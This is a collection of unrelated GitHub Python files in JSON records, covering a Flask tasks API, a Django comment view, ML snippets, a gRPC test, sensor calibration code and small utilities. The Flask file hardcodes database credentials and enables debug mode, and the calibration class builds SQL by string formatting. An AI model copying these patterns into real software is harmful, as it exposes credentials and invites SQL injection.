###\n","repo_name":"ivanIndjic/flask","sub_path":"flaskapi/migrations/versions/158d20707cff_.py","file_name":"158d20707cff_.py","file_ext":"py","file_size_in_byte":762,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"9066589627","text":"import pandas as pd\nfrom datetime import datetime\nfrom app import db\nfrom app.models import User, Album\n\ndf = pd.read_csv('./app/input_files/favorites.txt', sep='\\t')\nu = User.query.get(1)\nfor i, r in df.iterrows():\n dstr = r['Last Listen'].split('/')\n yr, mo, da = int(dstr[2]), int(dstr[0]), int(dstr[1])\n if yr < 2000:\n yr += 2000\n dt = datetime(yr, mo, da)\n # add album\n a = Album(title=r.Album,\n artist=r.Artist,\n year=r.Year,\n last_played=dt,\n rank=r.Rank,\n user_id=u.id)\n db.session.add(a)\n\ndb.session.commit()\n","repo_name":"stevenrdungan/music-list","sub_path":"add_albums.py","file_name":"add_albums.py","file_ext":"py","file_size_in_byte":611,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"28390454889","text":"import time\n\n\ndef create_file(abspath: str) -> None:\n \"\"\"\n 在绝对路径指定的位置创建文件\n 如果文件已经存在,会清除文件中的内容\n :param abspath: 要创建文件的位置\n :return: None\n \"\"\"\n try:\n with open(abspath, 'w') as _:\n pass\n except IOError:\n raise\n\n\ndef additional_write_file(abspath: str, content: str) -> None:\n \"\"\"\n 在绝对路径指定的位置追加写入文件\n :param abspath: 要追加写的文件位置\n :param content: 追加写的内容\n :return: None\n \"\"\"\n try:\n with open(abspath, 'a+') as f:\n f.write(content)\n except IOError:\n raise\n\n\ndef log_with_time(abspath: str, *logs) -> None:\n \"\"\"\n 写入日志,带有时间信息\n :param abspath: 日志文件的绝对路径\n :param logs: 日志的内容,使用变长元组参数\n :return: None\n \"\"\"\n try:\n with open(abspath, 'a+') as f:\n time_format_str = time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime())\n f.write(\"[{}]\\n\".format(time_format_str))\n for log in logs:\n f.write(\"{}\\n\".format(log))\n f.write(\"\\n\")\n except IOError:\n raise\n","repo_name":"LauZyHou/harver","sub_path":"src/tools/fileio_tool.py","file_name":"fileio_tool.py","file_ext":"py","file_size_in_byte":1234,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"72490265433","text":"from bisect import bisect_left, bisect_right\n\n\ndef search(nums, target):\n if not nums:\n return [-1, -1]\n n = len(nums)\n st, end = -1, -1\n left = bisect_left(nums, target)\n right = bisect_right(nums, target)\n if left < n and nums[left] == target:\n st = left\n if nums[right-1] == target:\n end = right-1\n return [st, end]\n\n\nlst = [1, 2, 2, 3, 4, 6, 6]\n\nprint(search(lst, 4))\n","repo_name":"hsmishra/coading","sub_path":"numbers/first_last.py","file_name":"first_last.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"44392041031","text":"import numpy as np\n\na = np.array([1., 2., 3.])\nb = np.array([[4., 5., 6.],[1.,2.,3.]])\nprint(a * b)\n\nc = 3\n\nprint(b * c)\n\n# The code in the second example is more efficient than that\n# in the first because broadcasting moves less memory around during\n# the multiplication (b is a scalar rather than an array).\n","repo_name":"giraffe-tree/PythonDemo","sub_path":"com/chen/data_analysis/numpy/part05_less_basic/broadcast_rule.py","file_name":"broadcast_rule.py","file_ext":"py","file_size_in_byte":311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"28194550171","text":"from Bio import SeqIO\nimport argparse\nimport os\nimport sys\n\n'''\ndef create_fasta_from_headers(input_fasta_file, output_fasta_file):\n sequences_to_write = []\n # Loop through the input FASTA file and extract sequences based on headers\n for record in SeqIO.parse(input_fasta_file, \"fasta\"):\n if record.id in header_list:\n sequences_to_write.append(record)\n\n # Stop if 10 sequences have been found\n if len(sequences_to_write) == 10:\n break\n print(header_list)\n # Write the sequences to a new FASTA file\n with open(output_fasta_file, \"w\") as output_handle:\n SeqIO.write(sequences_to_write, output_handle, \"fasta\")\n'''\ndef copy_fasta_with_10_positions(input_fasta, output_fasta):\n with open(input_fasta, 'r') as f_in, open(output_fasta, 'w') as f_out:\n header = None\n for line in f_in:\n if line.startswith('>'):\n header = line.rstrip()\n f_out.write(f\"{header}\\n\")\n else:\n sequence_10_positions = line[:10]\n f_out.write(f\"{sequence_10_positions}\\n\")\n'''\ndef extract_sequences(headers, fasta_file, output_file):\n extracted_sequences = {}\n current_header = None\n with open(fasta_file, 'r') as fasta_file:\n for line in fasta_file:\n line = line.strip()\n if line.startswith('>'):\n current_header = line\n if current_header in headers:\n extracted_sequences[current_header] = ''\n elif current_header in headers:\n extracted_sequences[current_header] += line\n print(extracted_sequences)\n with open(output_file, 'w') as f_out:\n for header, sequence in extracted_sequences.items():\n sequence_10_positions = sequence[:10]\n f_out.write(f\">{header}\\n{sequence_10_positions}\\n\")\n'''\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(\n description=\"testing pyasr\")\n parser.add_argument(\n \"--fasta\",\n required=True,\n )\n '''\n parser.add_argument(\n \"--headers\",\n required=True,\n )\n '''\n parser.add_argument(\n \"--output\",\n required=True,\n )\n\n args = parser.parse_args()\n fasta_path= args.fasta\n output_path = args.output\n\n #header_list = create_list_headers(headers_path)\n #print(header_list)\n #extract_sequences(header_list, fasta_path, output_path)\n copy_fasta_with_10_positions(fasta_path,output_path)\n","repo_name":"Petbys/Benchmarking_ASR_algorithms","sub_path":"Ypesti/1_sequence_preparation/Make_test_data_aa.py","file_name":"Make_test_data_aa.py","file_ext":"py","file_size_in_byte":2604,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"25490180371","text":"import pandas as pd\nimport numpy as np\n\nimport matplotlib.pyplot as plt\n\ndf = pd.read_csv(\"data/slr.csv\", sep=\";\", encoding=\"utf-8\", quoting=2, keep_default_na=False, dtype={\"N\": np.int32, 'Code': np.int32, 'Year': np.int32})\n\nyears = df['Year'].value_counts().sort_index()\n#\n# plt.plot(pd.to_datetime(df['Year']), df['N'], color='skyblue')\n\n\n# df=pd.DataFrame({'x': range(1,11), 'y': np.random.randn(10) })\n#\n# # df_plot = pd.DataFrame({'x': df['Year'], 'y': df['N']})\n# plt.plot('x', 'y', data=df, color='skyblue')\n\nx = years.index.values.tolist()\nxi = [i for i in range(0, len(x))]\ny = years.values.tolist()\n\n\nplt.plot(years,marker='o', linestyle='--', color='b')\n# plt.title(\"Year of publication for the selected techniques\")\nplt.xlabel(\"Year of publication\")\nplt.ylabel(\"Number of publications\")\n# plt.xticks(xi, x)\nplt.legend()\nplt.savefig('data/publication.png', bbox_inches='tight')\nplt.show()\n\nfloat(sum(y)) / max(len(y), 1)\n\nimport matplotlib.pyplot as plt\nx = [0.00001,0.001,0.01,0.1,0.5,1,5]\n# create an index for each tick position\nxi = [i for i in range(0, len(x))]\ny = [0.945,0.885,0.893,0.9,0.996,1.25,1.19]\nplt.ylim(0.8,1.4)\n# plot the index for the x-values\nplt.plot(xi, y, marker='o', linestyle='--', color='r', label='Square')\nplt.xlabel('x')\nplt.ylabel('y')\nplt.xticks(xi, x)\nplt.title('compare')\nplt.legend()\nplt.show()","repo_name":"mibot/Google-Scholar-Crawler","sub_path":"graficos.py","file_name":"graficos.py","file_ext":"py","file_size_in_byte":1341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"15304648515","text":"# Given an array A of integers, find the maximum of j - i subjected to the constraint of A[i] <= A[j].\n\n# Input Format\n# First and only argument is an integer array A.\n\n# Output Format\n# Return an integer denoting the maximum value of j - i;\n\n# Example Input\n# Input 1:\n# A = [3, 5, 4, 2]\n\n# Example Output\n# Output 1:\n# 2\n\n# Example Explanation\n# Explanation 1:\n# Maximum value occurs for pair (3, 4).\n\nclass Solution:\n # @param A : tuple of integers\n # @return an integer\n def maximumGap(self, A):\n arr = []\n n = len(A)\n \n for i in range(n):\n arr.append([A[i], i])\n \n arr.sort()\n ans = 0\n max_ind = arr[n-1][1]\n \n for i in range(n-2, -1, -1):\n ans = max(ans, max_ind - arr[i][1])\n max_ind = max(max_ind, arr[i][1])\n \n \n return ans","repo_name":"Ramsaidhanumuri/Repo_DSA","sub_path":"InterviewBit/Arrays/Sorting/Max Distance.py","file_name":"Max Distance.py","file_ext":"py","file_size_in_byte":868,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"13884032806","text":"from django.shortcuts import render, get_object_or_404, redirect\nfrom blog.models import Article\n\nfrom .models import Comment\nfrom .forms import CommentForm\n\n# article_pk是从url传递过来的参数\ndef article_comment(request, article_pk):\n # 先获取被评论的文章,因为后面需要把评论和被评论的文章关联起来。\n article = get_object_or_404(Article, pk=article_pk)\n\n # HTTP 请求有 get 和 post 两种,一般用户通过表单提交数据都是通过 post 请求,\n # 因此只有当用户的请求为 post 时才需要处理表单数据。\n if request.method == 'POST':\n # 用户提交的数据存在 request.POST 中,这是一个类字典对象。\n # 我们利用这些数据构造了 CommentForm 的实例,这样 Django 的表单就生成了。\n form = CommentForm(request.POST)\n\n # 当调用 form.is_valid() 方法时,Django 自动帮我们检查表单的数据是否符合格式要求。\n if form.is_valid():\n # 检查到数据是合法的,调用表单的 save 方法保存数据到数据库,\n # commit=False 的作用是仅仅利用表单的数据生成 Comment 模型类的实例,但还不保存评论数据到数据库。\n comment = form.save(commit=False)\n\n # 将评论和被评论的文章关联起来。\n comment.article = article\n\n # 最终将评论数据保存进数据库,调用模型实例的 save 方法\n comment.save()\n\n # 重定向到 article 的详情页,实际上当 redirect 函数接收一个模型的实例时,它会调用这个模型实例的 get_absolute_url 方法,\n # 然后重定向到 get_absolute_url 方法返回的 URL。\n return redirect(article)\n\n else:\n # 检查到数据不合法,重新渲染详情页,并且渲染表单的错误。\n # 因此我们传了三个模板变量给 detail.html,\n # 一个是文章(Article),一个是表单 form,一个是评论列表\n # 注意这里我们用到了 article.comment_set.all() 方法,\n # 这个用法有点类似于 Article.objects.all()\n # 其作用是获取这篇 article 下的的全部评论,\n # 因为 Article 和 Comment 是 ForeignKey 关联的,\n # 因此使用 article.comment_set.all() 反向查询全部评论。\n # 回顾一下我们当初获取某个分类 cate 下的全部文章时的代码:(原文Article是写为Post,这段注释不改了)Post.objects.filter(category=cate)。这里 post.comment_set.all() 也等价于 Comment.objects.filter(post=post),即根据 post 来过滤该 post 下的全部评论。但既然我们已经有了一个 Post 模型的实例 post(它对应的是 Post 在数据库中的一条记录),那么获取和 post 关联的评论列表有一个简单方法,即调用它的 xxx_set 属性来获取一个类似于 objects 的模型管理器,然后调用其 all 方法来返回这个 post 关联的全部评论。 其中 xxx_set 中的 xxx 为关联模型的类名(小写)。例如 Post.objects.filter(category=cate) 也可以等价写为 cate.post_set.all()。\n comment_list = article.comment_set.all()\n context = {'article': article,\n 'form': form,\n 'comment_list': comment_list\n }\n return render(request, 'blog/detail.html', context=context)\n # 不是 post 请求,说明用户没有提交数据,重定向到文章详情页。\n # redirect 函数位于 django.shortcuts 模块中,它的作用是对 HTTP 请求进行重定向(即用户访问的是某个 URL,但由于某些原因,服务器会将用户重定向到另外的 URL)。redirect 既可以接收一个 URL 作为参数,也可以接收一个模型的实例作为参数(例如这里的 article)。如果接收一个模型的实例,那么这个实例必须实现了 get_absolute_url 方法,这样 redirect 会根据 get_absolute_url 方法返回的 URL 值进行重定向。\n return redirect(article)\n\n","repo_name":"luoyi2017/277127311.top","sub_path":"comments/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4170,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"71805804311","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\ntrain_data = np.array([[1,0.2,0.7]\n ,[1,0.3,0.3]\n ,[1,0.4,0.5]\n ,[1,0.6,0.5]\n ,[1,0.1,0.4]\n ,[1,0.4,0.6]\n ,[1,0.6,0.2]\n ,[1,0.7,0.4]\n ,[1,0.8,0.6]\n ,[1,0.7,0.5]])\n\ntrain_label = np.array([1,1,1,1,1,-1,-1,-1,-1,-1])\nw0 = [1,1,1] # initial w\npocket_w = [1,1,7]\n\ndef sign(x):\n if x>0:\n return 1\n elif x<=0:\n return -1\n\n\ndef predict(train_data,train_label,w0):\n n=train_data.shape[0]\n error=0\n for i in range(n):\n if(train_label[i]*np.dot(w0,train_data[i])<0):\n error+=1\n #print(\"error:\",error)\n return error\n\ndef train_with_pocket(train_data,train_label,w0,pocket_w):\n for j in range(20):\n for i in range(len(train_data)):\n if(1):\n \n if(np.sign(np.dot(w0,train_data[i]))!=train_label[i]):\n w_=w0+train_label[i]*train_data[i]\n if(predict(train_data,train_label,w0)>predict(train_data,train_label,w_)):\n pocket_w=w_\n w0=w_\n \n print(\"result w:\",w0) \n\n return pocket_w\n\npocket_w = train_with_pocket(train_data,train_label,w0,pocket_w) \nprint(\"error:\",predict(train_data,train_label,pocket_w)) \nprint(\"result pocket_w:\",pocket_w) \n\n","repo_name":"xionghanran/modelwork","sub_path":"L2.1pocket.py","file_name":"L2.1pocket.py","file_ext":"py","file_size_in_byte":1482,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"37173832226","text":"from flask import Flask, request, jsonify\nfrom flask_restful import Resource, Api, reqparse\nfrom flask_sqlalchemy import SQLAlchemy\nfrom sqlalchemy import func\n\napp = Flask(__name__)\n\napi = Api(app)\napp.config[\"SQLALCHEMY_DATABASE_URI\"] = 'postgresql://postgres:root@localhost/TasksProject'\ndb = SQLAlchemy(app)\n\n\nclass Tasks(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n title = db.Column(db.Text)\n description = db.Column(db.Text)\n completed = db.Column(db.Boolean)\n sort_number = db.Column(db.Integer)\n due_date = db.Column(db.Date)\n user_id = db.Column(db.Integer)\n category_id = db.Column(db.Integer)\n\n\n# get all tasks\nclass TasksController(Resource):\n # get all tasks by user_id\n def get(self):\n user_id = (request.get_json())['user_id']\n\n if user_id is None:\n return {\"Message\": \"User id is required\"}, 400\n else:\n tasks = Tasks.query \\\n .filter_by(user_id=user_id) \\\n .order_by(Tasks.due_date, Tasks.sort_number) \\\n .all()\n task = [{'id': task.id,\n 'title': task.title,\n 'description': task.description,\n 'completed': task.completed,\n 'sort_number': task.sort_number,\n 'due_date': task.due_date,\n 'user_id': task.user_id,\n 'category_id': task.category_id\n } for task in tasks\n ]\n return jsonify(task)\n\n # add task\n def post(self):\n data = request.get_json()\n try:\n newTask = Tasks(\n title=data['title'],\n description=data['description'],\n completed=False,\n sort_number=0,\n due_date=data['due_date'],\n user_id=data['user_id'],\n category_id=data['category_id']\n )\n db.session.add(newTask)\n db.session.commit()\n return jsonify({\"Message\": \"Task added successfully\"})\n except:\n return {\"Message\": \"Unable to add the task\"}, 403\n\n\napi.add_resource(TasksController, '/tasks')\n\n\nclass TaskController(Resource):\n # get task by id\n def get(self, task_id):\n try:\n task = Tasks.query.get(task_id)\n task = {'id': task.id,\n 'title': task.title,\n 'description': task.description,\n 'completed': task.completed,\n 'sort_number': task.sort_number,\n 'due_date': task.due_date,\n 'user_id': task.user_id,\n 'category_id': task.category_id\n }\n return jsonify(task)\n except:\n return {\"Message\": \"Task Not Found\"}, 404\n\n # update task\n def put(self, task_id):\n try:\n task = Tasks.query.get(task_id)\n try:\n data = request.get_json()\n if data['title'] is not None:\n task.title = data['title']\n if data['description'] is not None:\n task.description = data['description']\n if data['due_date'] is not None:\n task.due_date = data['due_date']\n if data['completed'] is not None:\n task.completed = data['completed']\n db.session.commit()\n return {\"Message\": \"Task Updated Successfully\"}\n except:\n return {\"Message\": \"Unable to update task\"}, 400\n except:\n return {\"Message\": \"Task Not Found\"}, 404\n\n # delete task\n def delete(self, task_id):\n try:\n task = Tasks.query.get(task_id)\n db.session.delete(task)\n db.session.commit()\n return jsonify({'message': 'Task deleted successfully'})\n except:\n return {\"Message\": \"Task Not Found\"}, 404\n\n\napi.add_resource(TaskController, '/task/<int:task_id>')\n\n\n# get tasks by date\nclass TasksByDate(Resource):\n def get(self, date):\n tasks = Tasks.query.filter_by(due_date=date) \\\n .order_by(Tasks.sort_number).all()\n task = [{'id': task.id,\n 'title': task.title,\n 'description': task.description,\n 'completed': task.completed,\n 'sort_number': task.sort_number,\n 'due_date': task.due_date,\n 'user_id': task.user_id,\n 'category_id': task.category_id\n } for task in tasks\n ]\n return jsonify(task)\n\n\napi.add_resource(TasksByDate, '/tasks/<string:date>')\n\n\n# get tasks by category\nclass TasksByCategory(Resource):\n def get(self, category_id):\n tasks = Tasks.query.filter_by(category_id=category_id) \\\n .order_by(Tasks.sort_number, Tasks.due_date).all()\n task = [{'id': task.id,\n 'title': task.title,\n 'description': task.description,\n 'completed': task.completed,\n 'sort_number': task.sort_number,\n 'due_date': task.due_date,\n 'user_id': task.user_id,\n 'category_id': task.category_id\n } for task in tasks\n ]\n return jsonify(task)\n\n\napi.add_resource(TasksByCategory, '/tasks/<int:category_id>')\n\n\n# get completed tasks\nclass CompletedTasks(Resource):\n def get(self, user_id):\n completedTasks = db.session.query(func.count(Tasks.id)).filter_by(user_id=user_id,\n completed=True).scalar()\n tasks = db.session.query(func.count(Tasks.id)).filter_by(user_id=user_id).scalar()\n message = f\"You completed {completedTasks}/{tasks}\"\n return {\"Message\": message}\n\n\napi.add_resource(CompletedTasks, '/tasks/count/<int:user_id>')\n\n\n@app.route('/')\ndef hello_world(): # put application's code here\n return \"Hello World\"\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"fatimashehab99/Neo-s-Taskkk","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":6107,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"31257674686","text":"# -*- coding: utf-8 -*-\n#\n# Josene ('jose') Device implementation.\n#\n# Author: Just van den Broecke - 2018\n\nimport json\nimport logging\nimport pickle\nfrom device import Device\nfrom stetl.postgis import PostGIS\nfrom josenedefs import SENSOR_DEFS\nfrom smartem.util.running_mean import RunningMean\n\nlog = logging.getLogger('JoseneDevice')\n\n\nclass Josene(Device):\n\n def __init__(self):\n Device.__init__(self, 'jose')\n self.model_query = \"SELECT id,parameters,model from calibration_models WHERE predicts = '%s' AND invalid = FALSE ORDER BY timestamp DESC LIMIT 1\"\n self.state_query = \"SELECT state from calibration_state WHERE process = '%s' AND model_id = %d ORDER BY timestamp DESC LIMIT 1\"\n self.state_insert = \"INSERT INTO calibration_state (process, model_id, state) VALUES ('%s', %d, '%s')\"\n self.sensor_model_names = {\n 'co': 'carbon_monoxide__air_',\n 'no2': 'nitrogen_dioxide__air_',\n 'o3': 'ozone__air_'\n }\n self.config_dict = None\n\n def init(self, config_dict):\n\n self.config_dict = config_dict\n self.process_name = config_dict['process_name']\n self.db = PostGIS(config_dict)\n self.db.connect()\n\n ids = dict()\n parameters = dict()\n models = dict()\n state = dict()\n\n # Query ANN Calibration Model and its State from DB for each calibrated sensor.\n if self.model_query is not None and len(self.sensor_model_names) > 0:\n log.info('Getting calibration models and state from database')\n for k in self.sensor_model_names:\n v = self.sensor_model_names[k]\n id, param, model = self.query_model(v)\n ids[k] = id\n parameters[k] = param\n models[k] = model\n\n model_state = self.query_state(id)\n state[k] = model_state\n\n else:\n log.info('No query for fetching calibration models given or no '\n 'mapping for calibration models to gas components given.')\n\n # Put Model and State info in the Device definitions.\n for k in ids:\n SENSOR_DEFS[k]['converter_model']['model_id'] = ids[k]\n for k in parameters:\n SENSOR_DEFS[k]['converter_model']['running_mean_weights'] = parameters[k]\n for k in models:\n SENSOR_DEFS[k]['converter_model']['mlp_regressor'] = models[k]\n for k, v in state.iteritems():\n for device_id, device_state in v.iteritems():\n for gas, state in device_state.iteritems():\n v[device_id][gas] = RunningMean.from_dict(state)\n SENSOR_DEFS[k]['converter_model']['state'] = v\n\n def exit(self):\n # Save the calibration state.\n for k in self.sensor_model_names:\n model = SENSOR_DEFS[k]['converter_model']\n self.save_state(model['model_id'], json.dumps(model['state']))\n\n self.db.commit(close=False)\n\n def get_sensor_defs(self):\n return SENSOR_DEFS\n\n def raw_query(self, query_str):\n self.db.execute(query_str)\n\n db_records = self.db.cursor.fetchall()\n log.info('read recs: %d' % len(db_records))\n\n return db_records\n\n def query_model(self, name):\n query = self.model_query % name\n log.info('Getting calibration model with query: %s' % query)\n ret = self.raw_query(query)\n if len(ret) > 0:\n id, parameters, model = ret[0]\n return id, parameters, pickle.loads(model)\n else:\n log.warn(\"No model found for %s\" % name)\n return None, {}, {}\n\n def query_state(self, model_id):\n query = self.state_query % (self.process_name, model_id)\n log.info('Getting calibration model state with query: %s' % query)\n ret = self.raw_query(query)\n if len(ret) > 0:\n return ret[0][0]\n else:\n log.warn(\"No state found for model_id=%d\" % model_id)\n return {}\n\n def save_state(self, model_id, state):\n insert_query = self.state_insert % (self.process_name, model_id, state)\n log.info('Inserting calibration model state for process %s model_id=%d' % (self.process_name, model_id))\n\n ret = self.db.execute(insert_query)\n if ret != 1:\n log.warn('Cannot save state for process %s model_id=%d' % (self.process_name, model_id))\n\n # Get raw sensor value or list of values\n def get_raw_value(self, name, val_dict):\n val = None\n if type(name) is list:\n name = name[0]\n return self.get_raw_value(name, val_dict)\n # name is list of names\n # for n in name:\n # if n in val_dict:\n # if val is None:\n # val = []\n # val.append(val_dict[n])\n else:\n # name is single name\n if name in val_dict:\n val = val_dict[name]\n\n if 'audio' in name:\n # We may have audio encoded in 3 bands\n bands = [float(val & 255), float((val >> 8) & 255), float((val >> 16) & 255)]\n val = bands[0]\n\n return val, name\n\n # Check for valid sensor value\n def check_value(self, name, val_dict, value=None):\n val = None\n if type(name) is list:\n # name is list of names\n for n in name:\n result, reason = self.check_value(n, val_dict, value)\n if result is False:\n return result, reason\n else:\n # name is single name\n if name not in val_dict and value is None:\n return False, '%s not present' % name\n else:\n if value is not None:\n val = value\n else:\n val = val_dict[name]\n\n if val is None:\n return False, '%s is None' % name\n\n if name not in SENSOR_DEFS:\n return False, '%s not in SENSOR_DEFS' % name\n\n name_def = SENSOR_DEFS[name]\n\n # Audio inputs: need to unpack 3 bands and check for decibel vals\n if 'audio' in name:\n bands = [float(val & 255), float((val >> 8) & 255), float((val >> 16) & 255)]\n\n # determine validity of these 3 bands\n dbMin = name_def['min']\n dbMax = name_def['max']\n err_cnt = 0\n msg = ''\n for i in range(0, len(bands)):\n band_val = bands[i]\n # accumulate outliers\n if band_val < dbMin:\n err_cnt +=1\n msg += '%s: val(%s) < min(%s)\\n' % (name, str(band_val), str(name_def['min']))\n elif band_val > dbMax:\n err_cnt +=1\n msg += '%s: val(%s) > max(%s)\\n' % (name, str(band_val), str(name_def['max']))\n\n # Only invalid if all bands outside range\n if err_cnt >= len(bands):\n return False, msg\n\n return True, '%s OK' % name\n\n if 'min' in name_def and val < name_def['min']:\n return False, '%s: val(%s) < min(%s)' % (name, str(val), str(name_def['min']))\n\n if 'max' in name_def and val > name_def['max']:\n return False, '%s: val(%s) > max(%s)' % (name, str(val), str(name_def['max']))\n\n return True, '%s OK' % name\n\n # Get location as lon, lat\n def get_lon_lat(self, val_dict):\n result = (None, None)\n if 's_longitude' in val_dict and 's_latitude' in val_dict:\n lon = SENSOR_DEFS['longitude']['converter'](val_dict['s_longitude'])\n lat = SENSOR_DEFS['latitude']['converter'](val_dict['s_latitude'])\n\n valid, reason = self.check_value('latitude', val_dict, value=lat)\n if not valid:\n return result\n\n valid, reason = self.check_value('longitude', val_dict, value=lon)\n if not valid:\n return result\n\n result = (lon, lat)\n\n return result\n","repo_name":"smartemission/docker-se-stetl","sub_path":"smartem/devices/josene.py","file_name":"josene.py","file_ext":"py","file_size_in_byte":8274,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"9521826584","text":"from typing import Generator, Tuple\nimport concurrent.futures\n\nimport grpc\nimport pytest\n\nimport echo_log_store\nimport echo_pb2\nimport echo_pb2_grpc\nimport echo_service\nimport echo_service_rpc\n\n\n# pytest fixture for setting up the gRPC server\n@pytest.fixture(scope=\"module\")\ndef grpc_server() -> Generator[Tuple[grpc.Server, int], None, None]:\n \"\"\"\n Sets up a gRPC server for testing purposes.\n Configures the EchoService and starts the server, yielding control back for testing.\n After tests are done, the server is stopped.\n \"\"\"\n # Create the server with a ThreadPoolExecutor\n server = grpc.server(concurrent.futures.ThreadPoolExecutor(max_workers=10))\n\n # Add EchoService to server\n echo_pb2_grpc.add_EchoServiceServicer_to_server(\n echo_service_rpc.EchoServiceRpc(\n echo_service.EchoService(echo_log_store.EchoLogStore())\n ),\n server,\n )\n\n # Bind to an available port\n port = server.add_insecure_port(\"localhost:0\")\n server.start()\n\n # Yield server and port for testing\n yield server, port\n\n # Stop the server after tests\n server.stop(None)\n\n\n# pytest fixture for setting up the gRPC client channel\n@pytest.fixture(scope=\"module\")\ndef grpc_channel(\n grpc_server: Tuple[grpc.Server, int]\n) -> Generator[grpc.Channel, None, None]:\n \"\"\"\n Sets up a gRPC channel for testing purposes.\n Uses the server and port provided by the grpc_server fixture.\n \"\"\"\n # Get port from grpc_server fixture\n _, port = grpc_server\n\n # Create channel to the server\n channel = grpc.insecure_channel(f\"localhost:{port}\")\n\n # Yield channel for testing\n yield channel\n\n # Close the channel after tests\n channel.close()\n\n\n# Test function for the Echo service's echo() method\ndef test_echo(grpc_channel: grpc.Channel) -> None:\n \"\"\"\n Test for the Echo service's RPC method.\n Ensures the message is properly processed and log size increases by one.\n \"\"\"\n # Arrange: Prepare the state and data before the test\n pre_size = len(echo_log_store.EchoLogStore().get_all())\n stub = echo_pb2_grpc.EchoServiceStub(grpc_channel)\n request = echo_pb2.EchoRequest(message=\"foo\")\n\n # Act: Perform the action to test\n response = stub.echo(request)\n\n # Assert: Check the result against expectations\n assert response.message == \"3:foo\"\n\n # Verify log size increase\n post_size = len(echo_log_store.EchoLogStore().get_all())\n assert pre_size + 1 == post_size\n","repo_name":"savarin/echo-python","sub_path":"src/test_echo_e2e.py","file_name":"test_echo_e2e.py","file_ext":"py","file_size_in_byte":2478,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"31676905809","text":"import torch\nimport torch.nn as nn\n\nclass SELayer(nn.Module):\n def __init__(self, channel, reduction=16):\n super(SELayer, self).__init__()\n self.avg_pool = nn.AdaptiveAvgPool1d(1)\n self.fc = nn.Sequential(\n nn.Linear(channel, channel // reduction, bias=False),\n nn.ELU(inplace=True),\n nn.Linear(channel // reduction, channel, bias=False),\n nn.Sigmoid()\n )\n\n def forward(self, x):\n b, c, _ = x.size()\n y = self.avg_pool(x).view(b, c)\n y = self.fc(y).view(b, c, 1)\n return x * y.expand_as(x)\n\n\nclass SimpleNet(nn.Module):\n def __init__(self,in_channel=1296, num_classes=6):\n super(SimpleNet, self).__init__()\n\n p = 0.3\n m = 4\n self.conv1 = nn.Conv1d(in_channels=in_channel, out_channels=100*m, kernel_size=3, stride=1, padding=1)\n self.elu1 = nn.ELU()\n\n self.conv2 = nn.Conv1d(in_channels=100*m, out_channels=100*m, kernel_size=3, stride=1, padding=1)\n self.elu2 = nn.ELU()\n\n self.conv3 = nn.Conv1d(in_channels=100*m, out_channels=200*m, kernel_size=3, stride=1, padding=1)\n self.elu3 = nn.ELU()\n\n self.conv4 = nn.Conv1d(in_channels=200*m, out_channels=200*m, kernel_size=3, stride=1, padding=1)\n self.se4 = SELayer(200*m)\n self.elu4 = nn.ELU()\n self.dropout = nn.Dropout(p)\n\n self.conv5 = nn.Conv1d(in_channels=200*m, out_channels=6, kernel_size=3, stride=1, padding=1)\n\n def forward(self, input):\n output = self.conv1(input)\n #print('input size: ' + str(input.size()))\n output = self.elu1(output)\n #print(output.size())\n\n output = self.conv2(output)\n output = self.elu2(output)\n #print(output.size())\n\n output = self.conv3(output)\n output = self.elu3(output)\n #print(output.size())\n\n output = self.conv4(output)\n output = self.se4(output)\n output = self.elu4(output)\n #print(output.size())\n output = self.dropout(output)\n\n output = self.conv5(output)\n\n #print(output.size())\n #output = output.view(-1,6,)\n #print(output.size())\n return output\n","repo_name":"XUXUSSS/kaggle_rsna2019_4th_solution","sub_path":"cls_2/src/cnn/models/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2193,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"5"} +{"seq_id":"41165280932","text":"#!/usr/bin/env python3\n\nimport sys\nfrom operator import attrgetter\n\ndef extract_segments(root):\n \"\"\"Returns a list of the text of all <seg> tags in the document\"\"\"\n return list(map(attrgetter(\"text\"), root.findall(\".//seg\")))\n\n\ndef main(args):\n import lxml.etree as ET\n tree = ET.parse(args.xml_file)\n\n for seg in extract_segments(tree.getroot()):\n print(seg)\n\n\nif __name__ == \"__main__\":\n import argparse\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\"xml_file\", nargs=\"?\", type=argparse.FileType(\"r\"), default=sys.stdin)\n args = parser.parse_args()\n\n main(args)\n\n\n","repo_name":"mjpost/wmt-matrix","sub_path":"extract.py","file_name":"extract.py","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"22020701761","text":"from database import checkResponse\n\n\nclass Answer:\n # 建構式\n # def __init__(self):\n\n def __init__(self, id='0', answer='',time=''):\n self.id = id\n self. answer = str(answer)\n self. time = time\n # 方法(Method)\n\n def 